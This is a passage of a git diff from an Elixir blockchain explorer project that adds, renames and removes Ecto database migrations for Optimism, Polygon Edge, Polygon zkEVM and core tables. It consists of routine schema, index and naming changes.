create_if_not_exists(unique_index(:op_transaction_batches, [:frame_sequence_id, :l2_block_number])) + end +end diff --git a/apps/explorer/priv/optimism/migrations/20250317111838_rename_interop_addresses.exs b/apps/explorer/priv/optimism/migrations/20250317111838_rename_interop_addresses.exs new file mode 100644 index 000000000000..4033f9578c3f --- /dev/null +++ b/apps/explorer/priv/optimism/migrations/20250317111838_rename_interop_addresses.exs @@ -0,0 +1,8 @@ +defmodule Explorer.Repo.Optimism.Migrations.RenameInteropAddresses do + use Ecto.Migration + + def change do + rename(table(:op_interop_messages), :sender, to: :sender_address_hash) + rename(table(:op_interop_messages), :target, to: :target_address_hash) + end +end diff --git a/apps/explorer/priv/optimism/migrations/20250428080401_game_address_field_in_withdrawals.exs b/apps/explorer/priv/optimism/migrations/20250428080401_game_address_field_in_withdrawals.exs new file mode 100644 index 000000000000..265c64d5f168 --- /dev/null +++ b/apps/explorer/priv/optimism/migrations/20250428080401_game_address_field_in_withdrawals.exs @@ -0,0 +1,12 @@ +defmodule Explorer.Repo.Optimism.Migrations.GameAddressFieldInWithdrawals do + use Ecto.Migration + + def change do + alter table(:op_withdrawal_events) do + add(:game_address_hash, :bytea, null: true) + end + + rename(table(:op_dispute_games), :address, to: :address_hash) + create(index(:op_dispute_games, :address_hash)) + end +end diff --git a/apps/explorer/priv/optimism/migrations/20250501120524_op_interop_transfer_fields.exs b/apps/explorer/priv/optimism/migrations/20250501120524_op_interop_transfer_fields.exs new file mode 100644 index 000000000000..78a0886f453b --- /dev/null +++ b/apps/explorer/priv/optimism/migrations/20250501120524_op_interop_transfer_fields.exs @@ -0,0 +1,15 @@ +defmodule Explorer.Repo.Optimism.Migrations.OPInteropTransferFields do + use Ecto.Migration + + def change do + execute("TRUNCATE TABLE op_interop_messages;") + + alter table(:op_interop_messages) do + add(:transfer_token_address_hash, :bytea, null: true, default: nil) + add(:transfer_from_address_hash, :bytea, null: true, default: nil) + add(:transfer_to_address_hash, :bytea, null: true, default: nil) + add(:transfer_amount, :decimal, null: true, default: nil) + add(:sent_to_multichain, :boolean, null: false, default: false) + end + end +end diff --git a/apps/explorer/priv/optimism/migrations/20250610100740_add_op_interop_indices.exs b/apps/explorer/priv/optimism/migrations/20250610100740_add_op_interop_indices.exs new file mode 100644 index 000000000000..8e51e5e29ed9 --- /dev/null +++ b/apps/explorer/priv/optimism/migrations/20250610100740_add_op_interop_indices.exs @@ -0,0 +1,18 @@ +defmodule Explorer.Repo.Optimism.Migrations.AddOPInteropIndices do + use Ecto.Migration + + def up do + create(index(:op_interop_messages, [:init_transaction_hash, :init_chain_id, :sent_to_multichain, :block_number])) + create(index(:op_interop_messages, [:relay_transaction_hash, :relay_chain_id, :sent_to_multichain, :block_number])) + end + + def down do + drop_if_exists( + index(:op_interop_messages, [:init_transaction_hash, :init_chain_id, :sent_to_multichain, :block_number]) + ) + + drop_if_exists( + index(:op_interop_messages, [:relay_transaction_hash, :relay_chain_id, :sent_to_multichain, :block_number]) + ) + end +end diff --git a/apps/explorer/priv/optimism/migrations/20250619093450_op_sent_to_multichain_nullable.exs b/apps/explorer/priv/optimism/migrations/20250619093450_op_sent_to_multichain_nullable.exs new file mode 100644 index 000000000000..d7edd502e077 --- /dev/null +++ b/apps/explorer/priv/optimism/migrations/20250619093450_op_sent_to_multichain_nullable.exs @@ -0,0 +1,9 @@ +defmodule Explorer.Repo.Optimism.Migrations.OPSentToMultichainNullable do + use Ecto.Migration + + def change do + alter table(:op_interop_messages) do + modify(:sent_to_multichain, :boolean, null: true, default: nil) + end + end +end diff --git a/apps/explorer/priv/polygon_edge/migrations/20230618132249_create_polygon_edge_withdrawal_tables.exs b/apps/explorer/priv/polygon_edge/migrations/20230618132249_create_polygon_edge_withdrawal_tables.exs new file mode 100644 index 000000000000..b69751a14a2b --- /dev/null +++ b/apps/explorer/priv/polygon_edge/migrations/20230618132249_create_polygon_edge_withdrawal_tables.exs @@ -0,0 +1,28 @@ +defmodule Explorer.Repo.PolygonEdge.Migrations.CreatePolygonEdgeWithdrawalTables do + use Ecto.Migration + + def change do + create table(:polygon_edge_withdrawals, primary_key: false) do + add(:msg_id, :bigint, null: false, primary_key: true) + add(:from, :bytea, null: true) + add(:to, :bytea, null: true) + add(:l2_transaction_hash, :bytea, null: false) + add(:l2_block_number, :bigint, null: false) + + timestamps(null: false, type: :utc_datetime_usec) + end + + create table(:polygon_edge_withdrawal_exits, primary_key: false) do + add(:msg_id, :bigint, null: false, primary_key: true) + add(:l1_transaction_hash, :bytea, null: false) + add(:l1_block_number, :bigint, null: false) + add(:success, :boolean, null: false) + + timestamps(null: false, type: :utc_datetime_usec) + end + + create(unique_index(:polygon_edge_withdrawals, :l2_transaction_hash)) + create(index(:polygon_edge_withdrawals, :l2_block_number)) + create(index(:polygon_edge_withdrawal_exits, :l1_block_number)) + end +end diff --git a/apps/explorer/priv/polygon_edge/migrations/20230707113550_create_polygon_edge_deposit_tables.exs b/apps/explorer/priv/polygon_edge/migrations/20230707113550_create_polygon_edge_deposit_tables.exs new file mode 100644 index 000000000000..36ef8613b2e5 --- /dev/null +++ b/apps/explorer/priv/polygon_edge/migrations/20230707113550_create_polygon_edge_deposit_tables.exs @@ -0,0 +1,29 @@ +defmodule Explorer.Repo.PolygonEdge.Migrations.CreatePolygonEdgeDepositTables do + use Ecto.Migration + + def change do + create table(:polygon_edge_deposits, primary_key: false) do + add(:msg_id, :bigint, null: false, primary_key: true) + add(:from, :bytea, null: true) + add(:to, :bytea, null: true) + add(:l1_transaction_hash, :bytea, null: false) + add(:l1_block_number, :bigint, null: false) + add(:l1_timestamp, :"timestamp without time zone", null: true) + + timestamps(null: false, type: :utc_datetime_usec) + end + + create table(:polygon_edge_deposit_executes, primary_key: false) do + add(:msg_id, :bigint, null: false, primary_key: true) + add(:l2_transaction_hash, :bytea, null: false) + add(:l2_block_number, :bigint, null: false) + add(:success, :boolean, null: false) + + timestamps(null: false, type: :utc_datetime_usec) + end + + create(unique_index(:polygon_edge_deposit_executes, :l2_transaction_hash)) + create(index(:polygon_edge_deposits, :l1_block_number)) + create(index(:polygon_edge_deposit_executes, :l2_block_number)) + end +end diff --git a/apps/explorer/priv/polygon_edge/migrations/20230731130103_modify_collated_gas_price_constraint.exs b/apps/explorer/priv/polygon_edge/migrations/20230731130103_modify_collated_gas_price_constraint.exs new file mode 100644 index 000000000000..9a532bdd5c5b --- /dev/null +++ b/apps/explorer/priv/polygon_edge/migrations/20230731130103_modify_collated_gas_price_constraint.exs @@ -0,0 +1,15 @@ +defmodule Explorer.Repo.PolygonEdge.Migrations.ModifyCollatedGasPriceConstraint do + use Ecto.Migration + + def change do + execute("ALTER TABLE transactions DROP CONSTRAINT collated_gas_price") + + create( + constraint( + :transactions, + :collated_gas_price, + check: "block_hash IS NULL OR gas_price IS NOT NULL OR max_fee_per_gas IS NOT NULL" + ) + ) + end +end diff --git a/apps/explorer/priv/polygon_zkevm/migrations/20230420110800_create_zkevm_tables.exs b/apps/explorer/priv/polygon_zkevm/migrations/20230420110800_create_zkevm_tables.exs new file mode 100644 index 000000000000..1c242e3b8ec4 --- /dev/null +++ b/apps/explorer/priv/polygon_zkevm/migrations/20230420110800_create_zkevm_tables.exs @@ -0,0 +1,55 @@ +defmodule Explorer.Repo.PolygonZkevm.Migrations.CreateZkevmTables do + use Ecto.Migration + + def change do + create table(:zkevm_lifecycle_l1_transactions, primary_key: false) do + add(:id, :integer, null: false, primary_key: true) + add(:hash, :bytea, null: false) + add(:is_verify, :boolean, null: false) + timestamps(null: false, type: :utc_datetime_usec) + end + + create(unique_index(:zkevm_lifecycle_l1_transactions, :hash)) + + create table(:zkevm_transaction_batches, primary_key: false) do + add(:number, :integer, null: false, primary_key: true) + add(:timestamp, :"timestamp without time zone", null: false) + add(:l2_transactions_count, :integer, null: false) + add(:global_exit_root, :bytea, null: false) + add(:acc_input_hash, :bytea, null: false) + add(:state_root, :bytea, null: false) + + add( + :sequence_id, + references(:zkevm_lifecycle_l1_transactions, on_delete: :restrict, on_update: :update_all, type: :integer), + null: true + ) + + add( + :verify_id, + references(:zkevm_lifecycle_l1_transactions, on_delete: :restrict, on_update: :update_all, type: :integer), + null: true + ) + + timestamps(null: false, type: :utc_datetime_usec) + end + + create table(:zkevm_batch_l2_transactions, primary_key: false) do + add( + :batch_number, + references(:zkevm_transaction_batches, + column: :number, + on_delete: :delete_all, + on_update: :update_all, + type: :integer + ), + null: false + ) + + add(:hash, :bytea, null: false, primary_key: true) + timestamps(null: false, type: :utc_datetime_usec) + end + + create(index(:zkevm_batch_l2_transactions, :batch_number)) + end +end diff --git a/apps/explorer/priv/polygon_zkevm/migrations/20231010093238_add_bridge_tables.exs b/apps/explorer/priv/polygon_zkevm/migrations/20231010093238_add_bridge_tables.exs new file mode 100644 index 000000000000..805acd4d6a70 --- /dev/null +++ b/apps/explorer/priv/polygon_zkevm/migrations/20231010093238_add_bridge_tables.exs @@ -0,0 +1,46 @@ +defmodule Explorer.Repo.PolygonZkevm.Migrations.AddBridgeTables do + use Ecto.Migration + + def change do + create table(:polygon_zkevm_bridge_l1_tokens, primary_key: false) do + add(:id, :identity, primary_key: true, start_value: 0, increment: 1) + add(:address, :bytea, null: false) + add(:decimals, :smallint, null: true, default: nil) + add(:symbol, :string, size: 16, null: true, default: nil) + timestamps(null: false, type: :utc_datetime_usec) + end + + create(unique_index(:polygon_zkevm_bridge_l1_tokens, :address)) + + execute( + "CREATE TYPE polygon_zkevm_bridge_op_type AS ENUM ('deposit', 'withdrawal')", + "DROP TYPE polygon_zkevm_bridge_op_type" + ) + + create table(:polygon_zkevm_bridge, primary_key: false) do + add(:type, :polygon_zkevm_bridge_op_type, null: false, primary_key: true) + add(:index, :integer, null: false, primary_key: true) + add(:l1_transaction_hash, :bytea, null: true) + add(:l2_transaction_hash, :bytea, null: true) + + add( + :l1_token_id, + references(:polygon_zkevm_bridge_l1_tokens, on_delete: :restrict, on_update: :update_all, type: :identity), + null: true + ) + + add(:l1_token_address, :bytea, null: true) + add(:l2_token_address, :bytea, null: true) + add(:amount, :numeric, precision: 100, null: false) + add(:block_number, :bigint, null: true) + add(:block_timestamp, :"timestamp without time zone", null: true) + timestamps(null: false, type: :utc_datetime_usec) + end + + create(index(:polygon_zkevm_bridge, :l1_token_address)) + + rename(table(:zkevm_lifecycle_l1_transactions), to: table(:polygon_zkevm_lifecycle_l1_transactions)) + rename(table(:zkevm_transaction_batches), to: table(:polygon_zkevm_transaction_batches)) + rename(table(:zkevm_batch_l2_transactions), to: table(:polygon_zkevm_batch_l2_transactions)) + end +end diff --git a/apps/explorer/priv/polygon_zkevm/migrations/20240306080627_make_timestamp_optional.exs b/apps/explorer/priv/polygon_zkevm/migrations/20240306080627_make_timestamp_optional.exs new file mode 100644 index 000000000000..f813ba8ba735 --- /dev/null +++ b/apps/explorer/priv/polygon_zkevm/migrations/20240306080627_make_timestamp_optional.exs @@ -0,0 +1,9 @@ +defmodule Explorer.Repo.PolygonZkevm.Migrations.MakeTimestampOptional do + use Ecto.Migration + + def change do + alter table("polygon_zkevm_transaction_batches") do + modify(:timestamp, :"timestamp without time zone", null: true) + end + end +end diff --git a/apps/explorer/priv/repo/migrations/20190313085740_add_index_symobl_in_tokens.exs b/apps/explorer/priv/repo/migrations/20190313085740_add_index_symobl_in_tokens.exs index 7d7ccd8a5a9f..ce6b8d24b45e 100644 --- a/apps/explorer/priv/repo/migrations/20190313085740_add_index_symobl_in_tokens.exs +++ b/apps/explorer/priv/repo/migrations/20190313085740_add_index_symobl_in_tokens.exs @@ -1,4 +1,4 @@ -defmodule Explorer.Repo.Migrations.AddIndexSymoblInTokens do +defmodule Explorer.Repo.Migrations.AddIndexSymbolInTokens do use Ecto.Migration def change do diff --git a/apps/explorer/priv/repo/migrations/20190613065856_add_transaction_hash_inserted_at_index.exs b/apps/explorer/priv/repo/migrations/20190613065856_add_transaction_hash_inserted_at_index.exs new file mode 100644 index 000000000000..6402ee966706 --- /dev/null +++ b/apps/explorer/priv/repo/migrations/20190613065856_add_transaction_hash_inserted_at_index.exs @@ -0,0 +1,7 @@ +defmodule Explorer.Repo.Migrations.AddTransactionHashInsertedAtIndex do + use Ecto.Migration + + def change do + create(index(:transactions, [:hash, :inserted_at])) + end +end diff --git a/apps/explorer/priv/repo/migrations/20190613065856_add_tx_hash_inserted_at_index.exs b/apps/explorer/priv/repo/migrations/20190613065856_add_tx_hash_inserted_at_index.exs deleted file mode 100644 index 4596b1e4d4b1..000000000000 --- a/apps/explorer/priv/repo/migrations/20190613065856_add_tx_hash_inserted_at_index.exs +++ /dev/null @@ -1,7 +0,0 @@ -defmodule Explorer.Repo.Migrations.AddTxHashInsertedAtIndex do - use Ecto.Migration - - def change do - create(index(:transactions, [:hash, :inserted_at])) - end -end diff --git a/apps/explorer/priv/repo/migrations/20191007082500_add_indexes_for_token_instances_query.exs b/apps/explorer/priv/repo/migrations/20191007082500_add_indexes_for_token_instances_query.exs index 310f0fed02cf..ee6f757544cd 100644 --- a/apps/explorer/priv/repo/migrations/20191007082500_add_indexes_for_token_instances_query.exs +++ b/apps/explorer/priv/repo/migrations/20191007082500_add_indexes_for_token_instances_query.exs @@ -1,4 +1,4 @@ -defmodule Explorer.Repo.Migrations.AddIndexesForTokenInstrancesQuery do +defmodule Explorer.Repo.Migrations.AddIndexesForTokenInstancesQuery do use Ecto.Migration def change do diff --git a/apps/explorer/priv/repo/migrations/20191018140054_add_pending_internal_transactions_operation.exs b/apps/explorer/priv/repo/migrations/20191018140054_add_pending_internal_transactions_operation.exs new file mode 100644 index 000000000000..d7a7234026f4 --- /dev/null +++ b/apps/explorer/priv/repo/migrations/20191018140054_add_pending_internal_transactions_operation.exs @@ -0,0 +1,79 @@ +defmodule Explorer.Repo.Migrations.AddPendingInternalTransactionsOperation do + use Ecto.Migration + + def change do + alter table(:pending_block_operations) do + add(:fetch_internal_transactions, :boolean, null: false) + end + + execute(""" + INSERT INTO pending_block_operations + (block_hash, inserted_at, updated_at, fetch_internal_transactions) + SELECT b.hash, now(), now(), TRUE FROM blocks b + WHERE b.internal_transactions_indexed_at IS NULL + AND EXISTS ( + SELECT 1 + FROM transactions t + WHERE b.hash = t.block_hash + AND t.internal_transactions_indexed_at IS NULL + ); + """) + + alter table(:blocks) do + remove(:internal_transactions_indexed_at) + end + + alter table(:transactions) do + remove(:internal_transactions_indexed_at) + end + + alter table(:internal_transactions) do + add(:block_hash, :bytea) + add(:block_index, :integer) + end + + execute(""" + UPDATE internal_transactions itx + SET block_hash = with_block.block_hash, block_index = with_block.block_index + FROM ( + SELECT i.transaction_hash, + i.index, + t.block_hash, + row_number() OVER( + PARTITION BY t.block_hash + ORDER BY i.transaction_hash, i.index + ) - 1 AS block_index + FROM internal_transactions i + JOIN transactions t + ON t.hash = i.transaction_hash + ) AS with_block + WHERE itx.transaction_hash = with_block.transaction_hash + AND itx.index = with_block.index; + """) + + execute(""" + DELETE FROM internal_transactions WHERE block_hash IS NULL; + """) + + execute(""" + ALTER table internal_transactions + DROP CONSTRAINT internal_transactions_pkey, + ADD PRIMARY KEY (block_hash, block_index); + """) + + alter table(:internal_transactions) do + modify(:block_hash, references(:blocks, column: :hash, type: :bytea), null: false) + modify(:block_index, :integer, null: false) + end + + drop( + index( + :internal_transactions, + [:transaction_hash, :index], + name: :internal_transactions_transaction_hash_index_index + ) + ) + + create_if_not_exists(index(:internal_transactions, [:transaction_hash, :index])) + end +end diff --git a/apps/explorer/priv/repo/migrations/20191018140054_add_pending_internal_txs_operation.exs b/apps/explorer/priv/repo/migrations/20191018140054_add_pending_internal_txs_operation.exs deleted file mode 100644 index 13d46ab0139e..000000000000 --- a/apps/explorer/priv/repo/migrations/20191018140054_add_pending_internal_txs_operation.exs +++ /dev/null @@ -1,79 +0,0 @@ -defmodule Explorer.Repo.Migrations.AddPendingInternalTxsOperation do - use Ecto.Migration - - def change do - alter table(:pending_block_operations) do - add(:fetch_internal_transactions, :boolean, null: false) - end - - execute(""" - INSERT INTO pending_block_operations - (block_hash, inserted_at, updated_at, fetch_internal_transactions) - SELECT b.hash, now(), now(), TRUE FROM blocks b - WHERE b.internal_transactions_indexed_at IS NULL - AND EXISTS ( - SELECT 1 - FROM transactions t - WHERE b.hash = t.block_hash - AND t.internal_transactions_indexed_at IS NULL - ); - """) - - alter table(:blocks) do - remove(:internal_transactions_indexed_at) - end - - alter table(:transactions) do - remove(:internal_transactions_indexed_at) - end - - alter table(:internal_transactions) do - add(:block_hash, :bytea) - add(:block_index, :integer) - end - - execute(""" - UPDATE internal_transactions itx - SET block_hash = with_block.block_hash, block_index = with_block.block_index - FROM ( - SELECT i.transaction_hash, - i.index, - t.block_hash, - row_number() OVER( - PARTITION BY t.block_hash - ORDER BY i.transaction_hash, i.index - ) - 1 AS block_index - FROM internal_transactions i - JOIN transactions t - ON t.hash = i.transaction_hash - ) AS with_block - WHERE itx.transaction_hash = with_block.transaction_hash - AND itx.index = with_block.index; - """) - - execute(""" - DELETE FROM internal_transactions WHERE block_hash IS NULL; - """) - - execute(""" - ALTER table internal_transactions - DROP CONSTRAINT internal_transactions_pkey, - ADD PRIMARY KEY (block_hash, block_index); - """) - - alter table(:internal_transactions) do - modify(:block_hash, references(:blocks, column: :hash, type: :bytea), null: false) - modify(:block_index, :integer, null: false) - end - - drop( - index( - :internal_transactions, - [:transaction_hash, :index], - name: :internal_transactions_transaction_hash_index_index - ) - ) - - create_if_not_exists(index(:internal_transactions, [:transaction_hash, :index])) - end -end diff --git a/apps/explorer/priv/repo/migrations/20191203112646_internal_transactions_add_to_address_hash_index.exs b/apps/explorer/priv/repo/migrations/20191203112646_internal_transactions_add_to_address_hash_index.exs index f0ab8787602e..bf9bc5ce1065 100644 --- a/apps/explorer/priv/repo/migrations/20191203112646_internal_transactions_add_to_address_hash_index.exs +++ b/apps/explorer/priv/repo/migrations/20191203112646_internal_transactions_add_to_address_hash_index.exs @@ -3,15 +3,15 @@ defmodule Explorer.Repo.Migrations.InternalTransactionsAddToAddressHashIndex do def change do execute( - "CREATE INDEX IF NOT EXISTS internal_transactions_from_address_hash_partial_index on public.internal_transactions(from_address_hash, block_number DESC, transaction_index DESC, index DESC) WHERE (((type = 'call') AND (index > 0)) OR (type != 'call'));" + "CREATE INDEX IF NOT EXISTS internal_transactions_from_address_hash_partial_index on internal_transactions(from_address_hash, block_number DESC, transaction_index DESC, index DESC) WHERE (((type = 'call') AND (index > 0)) OR (type != 'call'));" ) execute( - "CREATE INDEX IF NOT EXISTS internal_transactions_to_address_hash_partial_index on public.internal_transactions(to_address_hash, block_number DESC, transaction_index DESC, index DESC) WHERE (((type = 'call') AND (index > 0)) OR (type != 'call'));" + "CREATE INDEX IF NOT EXISTS internal_transactions_to_address_hash_partial_index on internal_transactions(to_address_hash, block_number DESC, transaction_index DESC, index DESC) WHERE (((type = 'call') AND (index > 0)) OR (type != 'call'));" ) execute( - "CREATE INDEX IF NOT EXISTS internal_transactions_created_contract_address_hash_partial_index on public.internal_transactions(created_contract_address_hash, block_number DESC, transaction_index DESC, index DESC) WHERE (((type = 'call') AND (index > 0)) OR (type != 'call'));" + "CREATE INDEX IF NOT EXISTS internal_transactions_created_contract_address_hash_partial_index on internal_transactions(created_contract_address_hash, block_number DESC, transaction_index DESC, index DESC) WHERE (((type = 'call') AND (index > 0)) OR (type != 'call'));" ) drop_if_exists( diff --git a/apps/explorer/priv/repo/migrations/20200421102450_pending_transactions.exs b/apps/explorer/priv/repo/migrations/20200421102450_pending_transactions.exs new file mode 100644 index 000000000000..93619991f0f6 --- /dev/null +++ b/apps/explorer/priv/repo/migrations/20200421102450_pending_transactions.exs @@ -0,0 +1,16 @@ +defmodule Explorer.Repo.Migrations.PendingTransactions do + use Ecto.Migration + + def up do + execute( + "CREATE INDEX IF NOT EXISTS pending_txs_index ON transactions(inserted_at, hash) WHERE (block_hash IS NULL AND (error IS NULL OR (error != 'dropped/replaced')))" + ) + + drop_if_exists(index(:transactions, [:hash, :inserted_at], name: "transactions_hash_inserted_at_index")) + end + + def down do + execute("DROP INDEX IF EXISTS pending_txs_index") + create_if_not_exists(index(:transactions, [:hash, :inserted_at])) + end +end diff --git a/apps/explorer/priv/repo/migrations/20200421102450_pending_txs.exs b/apps/explorer/priv/repo/migrations/20200421102450_pending_txs.exs deleted file mode 100644 index 4f699815e79a..000000000000 --- a/apps/explorer/priv/repo/migrations/20200421102450_pending_txs.exs +++ /dev/null @@ -1,16 +0,0 @@ -defmodule Explorer.Repo.Migrations.PendingTxs do - use Ecto.Migration - - def up do - execute( - "CREATE INDEX IF NOT EXISTS pending_txs_index ON transactions(inserted_at, hash) WHERE (block_hash IS NULL AND (error IS NULL OR (error != 'dropped/replaced')))" - ) - - drop_if_exists(index(:transactions, [:hash, :inserted_at], name: "transactions_hash_inserted_at_index")) - end - - def down do - execute("DROP INDEX IF EXISTS pending_txs_index") - create_if_not_exists(index(:transactions, [:hash, :inserted_at])) - end -end diff --git a/apps/explorer/priv/repo/migrations/20210219080523_add_tags.exs b/apps/explorer/priv/repo/migrations/20210219080523_add_tags.exs new file mode 100644 index 000000000000..79e83f808ce6 --- /dev/null +++ b/apps/explorer/priv/repo/migrations/20210219080523_add_tags.exs @@ -0,0 +1,24 @@ +defmodule Explorer.Repo.Migrations.AddTags do + use Ecto.Migration + + def change do + create table(:address_tags, primary_key: false) do + add(:id, :serial, null: false) + add(:label, :string, null: false) + + timestamps() + end + + create(unique_index(:address_tags, [:id])) + create(unique_index(:address_tags, [:label])) + + create table(:address_to_tags) do + add(:address_hash, references(:addresses, column: :hash, type: :bytea), null: false) + add(:tag_id, references(:address_tags, column: :id, type: :serial), null: false) + + timestamps() + end + + create(unique_index(:address_to_tags, [:address_hash, :tag_id])) + end +end diff --git a/apps/explorer/priv/repo/migrations/20211018170638_add_logs_address_hash_transaction_hash_index.exs b/apps/explorer/priv/repo/migrations/20211018170638_add_logs_address_hash_transaction_hash_index.exs index 5d15ac38cd9a..10eafea095c6 100644 --- a/apps/explorer/priv/repo/migrations/20211018170638_add_logs_address_hash_transaction_hash_index.exs +++ b/apps/explorer/priv/repo/migrations/20211018170638_add_logs_address_hash_transaction_hash_index.exs @@ -1,4 +1,4 @@ -defmodule Explorer.Repo.Migrations.AddLogsAddressHashTransactionHashIndex do +defmodule Explorer.Repo.Migrations.CreateLogsAddressHashTransactionHashIndex do use Ecto.Migration def change do diff --git a/apps/explorer/priv/repo/migrations/20211029085117_drop_block_rewards_block_hash_partial_index.exs b/apps/explorer/priv/repo/migrations/20211029085117_drop_block_rewards_block_hash_partial_index.exs index 4d6bb4014e63..98d18e70d4d7 100644 --- a/apps/explorer/priv/repo/migrations/20211029085117_drop_block_rewards_block_hash_partial_index.exs +++ b/apps/explorer/priv/repo/migrations/20211029085117_drop_block_rewards_block_hash_partial_index.exs @@ -4,7 +4,7 @@ defmodule Explorer.Repo.Migrations.DropBlockRewardsBlockHashPartialIndex do def change do drop_if_exists( index( - :block_rewadrs, + :block_rewards, ~w(block_hash)a, name: :block_rewards_block_hash_partial_index, where: "address_type='validator'" diff --git a/apps/explorer/priv/repo/migrations/20211210184136_add_display_name_to_address_tag.exs b/apps/explorer/priv/repo/migrations/20211210184136_add_display_name_to_address_tag.exs new file mode 100644 index 000000000000..f07af29e10f9 --- /dev/null +++ b/apps/explorer/priv/repo/migrations/20211210184136_add_display_name_to_address_tag.exs @@ -0,0 +1,15 @@ +defmodule Explorer.Repo.Migrations.AddDisplayNameToAddressTag do + use Ecto.Migration + + def up do + alter table(:address_tags) do + add(:display_name, :string, null: true) + end + end + + def down do + alter table(:address_tags) do + remove(:display_name) + end + end +end diff --git a/apps/explorer/priv/repo/migrations/20211217201759_add_has_error_in_iternal_txs_field_to_transaction.exs b/apps/explorer/priv/repo/migrations/20211217201759_add_has_error_in_internal_txs_field_to_transaction.exs similarity index 100% rename from apps/explorer/priv/repo/migrations/20211217201759_add_has_error_in_iternal_txs_field_to_transaction.exs rename to apps/explorer/priv/repo/migrations/20211217201759_add_has_error_in_internal_txs_field_to_transaction.exs diff --git a/apps/explorer/priv/repo/migrations/20220527131249_add_implementation_fields.exs b/apps/explorer/priv/repo/migrations/20220527131249_add_implementation_fields.exs new file mode 100644 index 000000000000..5f3839dd4a4c --- /dev/null +++ b/apps/explorer/priv/repo/migrations/20220527131249_add_implementation_fields.exs @@ -0,0 +1,10 @@ +defmodule Explorer.Repo.Migrations.AddImplementationFields do + use Ecto.Migration + + def change do + alter table(:smart_contracts) do + add(:implementation_address_hash, :bytea, null: true) + add(:implementation_fetched_at, :"timestamp without time zone", null: true) + end + end +end diff --git a/apps/explorer/priv/repo/migrations/20220919105140_add_method_id_index.exs b/apps/explorer/priv/repo/migrations/20220919105140_add_method_id_index.exs new file mode 100644 index 000000000000..daa96722b5b1 --- /dev/null +++ b/apps/explorer/priv/repo/migrations/20220919105140_add_method_id_index.exs @@ -0,0 +1,15 @@ +defmodule Explorer.Repo.Migrations.AddMethodIdIndex do + use Ecto.Migration + + @disable_ddl_transaction true + + def up do + execute(""" + CREATE INDEX CONCURRENTLY IF NOT EXISTS method_id ON transactions USING btree (substring(input for 4)); + """) + end + + def down do + execute("DROP INDEX IF EXISTS method_id") + end +end diff --git a/apps/explorer/priv/repo/migrations/20220926122620_extend_token_symbol_type.exs b/apps/explorer/priv/repo/migrations/20220926122620_extend_token_symbol_type.exs new file mode 100644 index 000000000000..e97255a160aa --- /dev/null +++ b/apps/explorer/priv/repo/migrations/20220926122620_extend_token_symbol_type.exs @@ -0,0 +1,9 @@ +defmodule Explorer.Repo.Migrations.ExtendTokenSymbolType do + use Ecto.Migration + + def change do + alter table(:tokens) do + modify(:symbol, :text, null: true) + end + end +end diff --git a/apps/explorer/priv/repo/migrations/20221104091552_add_transaction_actions_table.exs b/apps/explorer/priv/repo/migrations/20221104091552_add_transaction_actions_table.exs new file mode 100644 index 000000000000..1922a08faa3f --- /dev/null +++ b/apps/explorer/priv/repo/migrations/20221104091552_add_transaction_actions_table.exs @@ -0,0 +1,31 @@ +defmodule Explorer.Repo.Migrations.AddTransactionActionsTable do + use Ecto.Migration + + def change do + execute( + "CREATE TYPE transaction_actions_protocol AS ENUM ('uniswap_v3', 'opensea_v1_1', 'wrapping', 'approval', 'zkbob')", + "DROP TYPE transaction_actions_protocol" + ) + + execute( + "CREATE TYPE transaction_actions_type AS ENUM ('mint_nft', 'mint', 'burn', 'collect', 'swap', 'sale', 'cancel', 'transfer', 'wrap', 'unwrap', 'approve', 'revoke', 'withdraw', 'deposit')", + "DROP TYPE transaction_actions_type" + ) + + create table(:transaction_actions, primary_key: false) do + add(:hash, references(:transactions, column: :hash, on_delete: :delete_all, on_update: :update_all, type: :bytea), + null: false, + primary_key: true + ) + + add(:protocol, :transaction_actions_protocol, null: false) + add(:data, :map, default: %{}, null: false) + add(:type, :transaction_actions_type, null: false) + add(:log_index, :integer, null: false, primary_key: true) + + timestamps(null: false, type: :utc_datetime_usec) + end + + create(index(:transaction_actions, [:protocol, :type])) + end +end diff --git a/apps/explorer/priv/repo/migrations/20221104104635_create_token_transfer_token_id_migrator_progress.exs b/apps/explorer/priv/repo/migrations/20221104104635_create_token_transfer_token_id_migrator_progress.exs new file mode 100644 index 000000000000..3bf19f8dfbda --- /dev/null +++ b/apps/explorer/priv/repo/migrations/20221104104635_create_token_transfer_token_id_migrator_progress.exs @@ -0,0 +1,11 @@ +defmodule Explorer.Repo.Migrations.CreateTokenTransferTokenIdMigratorProgress do + use Ecto.Migration + + def change do + create table(:token_transfer_token_id_migrator_progress) do + add(:last_processed_block_number, :integer) + + timestamps() + end + end +end diff --git a/apps/explorer/priv/repo/migrations/20221114113853_remove_not_null_constraint_from_abi.exs b/apps/explorer/priv/repo/migrations/20221114113853_remove_not_null_constraint_from_abi.exs new file mode 100644 index 000000000000..81903e79e30c --- /dev/null +++ b/apps/explorer/priv/repo/migrations/20221114113853_remove_not_null_constraint_from_abi.exs @@ -0,0 +1,7 @@ +defmodule Explorer.Repo.Migrations.RemoveNotNullConstraintFromAbi do + use Ecto.Migration + + def change do + execute("ALTER TABLE smart_contracts ALTER COLUMN abi DROP NOT NULL;") + end +end diff --git a/apps/explorer/priv/repo/migrations/20221114121811_drop_internal_transactions_order_index.exs b/apps/explorer/priv/repo/migrations/20221114121811_drop_internal_transactions_order_index.exs new file mode 100644 index 000000000000..f59a416be856 --- /dev/null +++ b/apps/explorer/priv/repo/migrations/20221114121811_drop_internal_transactions_order_index.exs @@ -0,0 +1,7 @@ +defmodule Explorer.Repo.Migrations.DropInternalTransactionsOrderIndex do + use Ecto.Migration + + def change do + drop_if_exists(index(:internal_transactions, ["block_number DESC, transaction_index DESC, index DESC"])) + end +end diff --git a/apps/explorer/priv/repo/migrations/20221117075456_modify_address_token_balances_indexes.exs b/apps/explorer/priv/repo/migrations/20221117075456_modify_address_token_balances_indexes.exs new file mode 100644 index 000000000000..9c21c4b40a89 --- /dev/null +++ b/apps/explorer/priv/repo/migrations/20221117075456_modify_address_token_balances_indexes.exs @@ -0,0 +1,58 @@ +defmodule Explorer.Repo.Migrations.ModifyAddressTokenBalancesIndexes do + use Ecto.Migration + + def change do + drop_if_exists( + unique_index( + :address_token_balances, + ~w(address_hash token_contract_address_hash block_number)a, + name: :fetched_token_balances, + where: "token_id IS NULL" + ) + ) + + drop_if_exists( + unique_index( + :address_token_balances, + ~w(address_hash token_contract_address_hash token_id block_number)a, + name: :fetched_token_balances_with_token_id, + where: "token_id IS NOT NULL" + ) + ) + + create_if_not_exists( + unique_index( + :address_token_balances, + [:address_hash, :token_contract_address_hash, "COALESCE(token_id, -1)", :block_number], + name: :fetched_token_balances + ) + ) + + 